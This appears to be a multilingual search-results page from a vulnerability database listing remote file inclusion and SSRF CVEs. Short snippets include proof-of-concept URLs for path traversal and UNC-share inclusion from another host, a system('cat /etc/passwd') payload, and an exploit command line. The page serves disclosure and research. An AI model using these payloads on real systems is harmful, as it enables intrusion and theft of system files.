19447 matches found
CVE-2022-39838
CVE-2022-39838 建议描述 Systematica FIX Adapter ALFAFX 2.4.0.25 2017年9月13日版本允许通过UNC共享路径名进行远程文件包含，也允许通过绝对路径遍历到本地路径名。 附加信息 PoC： http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt 漏洞类型...
CVE-2009-4623
CVE-2009-4623 Sistema de Comentarios Avanzado 1.0 Reverse Shell Múltiples vulnerabilidades de inclusión remota de archivos PHP en Advanced Comment System 1.0 permiten a atacantes remotos ejecutar código PHP arbitrario a través de una URL en el parámetro ACSpath hacia 1 index.php y 2 admin.php en...
CVE-2023-3452-PoC
CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 root@kitploit: http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?w...
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC Social WarFare 插件中的RCE（版本system'cat /etc/passwd' 将其保存为文件名 payload.txt 并上传到服务器。URI应类似于 https://yoursite.com/payload.txt。最后，提供你的 --target 和 --payload-uri 选项： root@kitploit: $ python cve-2019-9978.py --target http://vulntarget.com \ --payload-uri...
CVE-2007-3831
CVE-2007-3831 Inclusión remota de archivo PHP en main.php en ISS Proventia Network IPS GX5108 1.3 y GX5008 1.5 Publicación de Exploit-db en https://www.exploit-db.com/exploits/30290/ Documento de Exploit-db en :...
Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion
A PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites comjoomla-visites component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter. id: CVE-2010-2918 info: name: Joomla! Component Visit...
BJ Lazy Load (Timthumb) <= 0.7.5 - Remote File Inclusion
The BJ Lazy Load plugin v0.7.5 for WordPress has a Remote File Inclusion vulnerability via TimThumb. id: CVE-2015-9415 info: name: BJ Lazy Load Timthumb = 0.7.5 - Remote File Inclusion author: s4e-io severity: high description: | The BJ Lazy Load plugin v0.7.5 for WordPress has a Remote File...
74CMS - Remote File Inclusion
PHP remote file inclusion in the assignresumetpl method in Application/Common/Controller/BaseController.class.php in 74CMS before 6.0.48 allows remote code execution. id: CVE-2020-29279 info: name: 74CMS - Remote File Inclusion author: DhiyaneshDK severity: critical description: | PHP remote file...
WordPress Canto Plugin <= 3.0.4 - File Inclusion
Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wpabspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allowurlinclude is enabled, exploit requires allowurlinclude to be enabled. id: CVE-2023-3452 info:...
Netmask NPM Package - Server-Side Request Forgery
Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the...
SAP BusinessObjects Business Intelligence Platform - Blind Server-Side Request Forgery
SAP BusinessObjects Business Intelligence Platform Web Services 410, 420, and 430 is susceptible to blind server-side request forgery. An attacker can inject arbitrary values as CMS parameters to perform lookups on the internal network, which is otherwise not accessible externally. On successful...
Metasploit-Wordpress-Canto-Exploit-RCE
Metersploit exploit module canto RCE CVE-2024-25096 & CVE-2023-3452 This exploit is a proof-of-work exploit of the RFI vulnerabilities CVE-2024-25096 and CVE-2023-3452, which allow the attacker to establish an interactive remote shell session on the target. CVE-2024-25096 abuses the abspath...
exploit-CVE-2015-8351
Gwolle Guestbook WordPress Plugin RFI Exploit このPythonスクリプトは、Gwolle Guestbook WordPressプラグインの重大なリモートファイルインクルード（RFI）脆弱性を悪用します。この脆弱性により、認証されていない攻撃者がリモートのPHPファイルをインクルードし、脆弱なシステム上で任意のコードを実行できる可能性があります。 脆弱性の詳細 HTTP...
Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery
Onair2 3.9.9.2 and KenthaRadio 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery. id: CVE-2021-24472 info...
KR-Web <=1.1b2 - Remote File Inclusion
KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENTROOT parameter. id: CVE-2009-4223 info: name: KR-Web =1.1b2 - Remote File Inclusion author: geeknik severity: high...
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – Exploit del plugin Social Warfare de WordPress De Inclusión Remota de Archivos RFI no autenticada a Ejecución Remota de Código RCE 📌 Descripción Este repositorio contiene una Prueba de Concepto PoC basada en Python que demuestra la explotación de CVE-2019-9978 , una...
CVE-2024-20405
Descripción Una vulnerabilidad en la interfaz de gestión basada en web de Cisco Finesse podría permitir a un atacante remoto no autenticado realizar un ataque XSS almacenado explotando una vulnerabilidad RFI. Esta vulnerabilidad se debe a una validación insuficiente de la entrada proporcionada po...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga MegaQuagga Publishing 向けの修復レポート。段階的な防御階層化による CVE-2019-9978 の緩和を検証。リバースプロキシ導入、ModSecurity WAF 展開、Graylog SIEM 統合、および pfSense WAN/LAN インターフェースを横断したマルチステージ Wireshark PCAP 分析による SSL/TLS 適用を文書化。 脆弱性修復 — MegaQuagga 修復レポート 分析者: Samuel Weiss 組織: 0x2A Security バージョン: 1.1 2026年4月2...
CVE-2023-3452---WordPress-Canto-Plugin-RCE
CVE-2023-3452 - Plugin Canto per WordPress RCE Exploit per il Plugin Canto di WordPress ≤ 3.0.4 vulnerabilità RFI. Funziona effettivamente su HTTPS — gli altri PoC pubblici hanno rinunciato all'SSL. Crediti dove meritano: questa CVE è stata trovata da altri. Ho solo creato una versione che non si...
